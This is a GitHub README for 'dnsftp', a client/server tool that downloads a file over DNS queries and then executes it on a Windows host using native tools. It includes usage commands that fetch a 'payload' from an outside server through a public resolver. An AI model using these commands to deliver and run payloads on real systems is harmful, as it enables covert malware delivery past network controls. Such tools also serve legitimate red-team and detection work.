Skip to content

Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.

Notifications You must be signed in to change notification settings

hexaclock/dnsftp

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

27 Commits
 
 
 
 
 
 

Repository files navigation

Purpose

Use only DNS queries to download a file, and then execute it.

Usage

On the server hosting the file (tested with python2):

sudo python server.py -f /path/to/file

On the Windows client with batch script:

client\client_batch\runme.bat payloadserverhostname fileparts publicdnsserver

Example: client\client_batch\runme.bat payloadserver.yourdomain.com 42 8.8.8.8

If just testing internally, you can use the following example:

client\client_batch\runme.bat payloadserverhostname fileparts payloadserverIPaddr

Original author: Stephen Breen - https://github.com/breenmachine/dnsftp

Forked and modified by: Daniel Vinakovsky

About

Client/Server scripts to transfer files over DNS. Client scripts are small and only use native tools on the host OS.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Python 70.9%
  • Batchfile 17.8%
  • Shell 5.8%
  • PowerShell 5.5%